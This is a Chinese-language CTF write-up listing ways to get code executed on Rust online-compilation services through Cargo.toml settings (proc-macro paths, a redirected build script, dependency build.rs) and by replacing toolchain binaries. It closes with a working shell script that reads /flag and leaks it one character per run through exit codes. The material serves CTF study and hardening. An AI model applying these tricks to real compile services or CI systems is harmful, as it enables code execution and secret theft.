rust在线编译项目常见漏洞

近年来,随着Rust语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者选择将其应用于后端开发,尤其在WebAssembly、微服务和高并发场景中表现亮眼。然而,Rust生态的快速扩张也带来了新的安全挑战:尽管语言本身通过所有权机制规避了内存安全问题,但Web应用层的逻辑漏洞(如SQL注入、身份验证绕过)、第三方库的潜在缺陷(如未充分审计的unsafe代码滥用)以及对安全实践的过度自信(如忽略输入验证或错误配置CORS策略),正在导致Rust相关的Web安全问题逐渐浮出水面。社区亟需在享受Rust底层安全红利的同时,建立更完善的安全开发规范,加强依赖库审计,并推动Web框架的漏洞响应机制,以应对日益复杂的安全威胁。而本次就是在阿里ctf中出现的一道rust编译类题目,故总结了一套相关的相关知识。

跨项目引用

在Rust生态中,Cargo.toml文件如同项目的中枢神经,扮演着至关重要的清单(Manifest)角色。其不仅是一份静态的配置文件,还是是开发者与Rust编译工具链(Cargo)之间的核心。通过toml,开发者能够以声明式语法精确控制项目——从定义包元数据(如版本、作者、许可证)、声明依赖关系(通过本地路径、Git仓库或官方注册表[crates.io]引入第三方crate),到定制编译策略(如特性开关、优化级别、目标平台配置),甚至扩展自定义构建脚本。

实现跨项目引用的核心机制,则隐藏在Cargo.toml的特定字段中:

dependence引用

1
2
3
4
[dependencies]
项目名称 = {path = "本地路径"}
项目名称 = {git = "git项目地址"}
项目名称 = {version = "版本"}

引用本地过程

Rust的过程宏(Procedural Macros)是元编程(metaprogramming)的核心工具之一,允许开发者在编译时对代码进行动态生成和转换。与声明宏(Declarative Macros)不同,过程宏通过自定义代码逻辑直接操作抽象语法树(AST),实现更复杂的代码生成能力。以下是过程宏的深度解析,而我们也可以通过Cargo.toml对其进行引用

那么如果现在存在一个文件夹拥有如下的rust项目的文件夹。

1
2
3
4
5
6
7
8
9
├─testaaa
│ ├─.idea
│ ├─src
│ └─Cargo.toml

└─testbbb
├─.idea
├─src
└─Cargo.toml

那么此时可以通过在testaaa项目的Cargo.toml中使用

1
2
3
[lib]
proc-macro = ture
path = "../[项目名称]/main.rs"

来对其他的过程宏项目进行引用。利用这个方法,可以实现在引用的项目中不使用lib.rs,来生成proc-macro。如此一来我们遍可以在项目a的main.rs里实现过程宏,虽然不能被正常编译,但是可以在项目b中引用,从而实现编译。

当然不仅这些,如果rust启用了一些unstable特性,如(metabuild等),这些功能也会在未来可能成为利用的关键点

编译执行

rust的编译存在以下三种执行

  • 过程宏编译执行
  • build.rs执行
  • 编译时计算(不能利用)const fn

而其中build构建执行和过程宏编译时执行是常可以利用的项,他们可以实现通过编译就进行一些命令的执行。

利用Cargo.toml实现main.rs自执行

很多时候我们无法自己创建build.rs,但是可以利用Cargo.toml中的选项。

1
build = "路径"

我们可以将build的路径换成任何我们想要的rs文件(包括 main.rs !我们可以通过这点在很多有限制的地方进行执行)从而实现build.rs执行。

不只是这种情况,前面我们提到过rust的依赖选项,rust通过从crates.io下载源码或读取本机的源码编译。那么此时这些crates中的build.rs文件也会进行运行,我们也可以通过这种方式进行利用

利用过程宏

在Cargo.toml中启用

1
2
3
[lib]
proc-macro = ture
path = ""

来引用过程宏或开启过程宏来运行,这里巧妙的是,cargo会直接对path的目标文件进行rustc编译,也就是说,即使目标文件的结构并不符合rust项目的标准,只要rust代码没有错误都可以将其作为过程宏生成。

替换编译器、资源

很多情况我们并不能正常回显或是不能正常的触发一个程序,那么我们可以通过“挖空”程序本体,换入我们的代码,这样一来,程序就可以通过流程的调用来触发。

以下是linux中rustc和cargo的常见位置

系统级

1
2
3
~/.cargo/bin/         # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/ # 下载的依赖缓存
~/.cargo/config.toml # Cargo 配置文件

用户级

1
2
3
4
5
6
7
8
~/.rustup/toolchains/  # 不同版本工具链
# 例如:
~/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/
~/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/

~/.cargo/bin/ # rustc, cargo, rustup 等可执行文件
~/.cargo/registry/ # 下载的依赖缓存
~/.cargo/config.toml # Cargo 配置文件

下面就是一个替换内容的例子,将cargo替换为以下的脚本,这个脚本将会把flag作为错误状态码依次返回(运行一次返回一次),我们便可以通过不断运行编译流程,此时返回的错误码就为flag的ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

STATE="/tmp/state.txt"

if [ ! -f "$STATE" ]; then
echo 0 > "$STATE"
fi

FLAG=$(cat /flag)
IDX=$(cat "$STATE")
CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))

if [ -z "$CHAR" ]; then
exit 255
fi

ASCII=$(printf "%d" "'$CHAR")
NEXT_IDX=$((IDX + 1))

echo "$NEXT_IDX" > "$STATE"
exit $ASCII